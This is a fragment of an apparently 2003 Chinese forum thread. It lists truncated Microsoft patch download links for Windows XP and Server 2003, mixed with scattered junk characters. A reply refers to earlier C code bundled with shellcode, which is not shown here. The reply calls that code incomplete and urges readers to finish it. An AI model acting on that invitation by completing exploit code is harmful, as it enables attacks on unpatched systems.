（中文）http://microsoft.com/downloads/details.aspx?displaylang=zh-cn&FamilyID=C8B8A846-F541-4C15-8C9F-220354449117

; N9 H4 s* y, ~Windows XP 32 bit Edition ：

http://microsoft.com/downloads/d ... &displaylang=en
* ^  y; }; [& l) T
Windows XP 64 bit Edition：

/ D+ R. M# a* hhttp://microsoft.com/downloads/d ... &displaylang=en
. m7 ]$ R1 Y' i; |+ e$ U
Windows Server 2003 32 bit Edition：

" _5 W& z4 D" X9 E0 f  g7 Hhttp://microsoft.com/downloads/d ... &displaylang=en
7 Q- }: V. {# G8 ~' a
+ h+ L+ ~7 ^6 F" lWindows Server 2003 64 bit Edition：
" M6 e- W% _& |, A- {
http://microsoft.com/downloads/d ... &displaylang=en
7 h1 q4 b$ W. R( |4 h& x" K
4 @8 Y3 Y! Y: s
: W2 e" _# b6 ~) d; O, Q

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。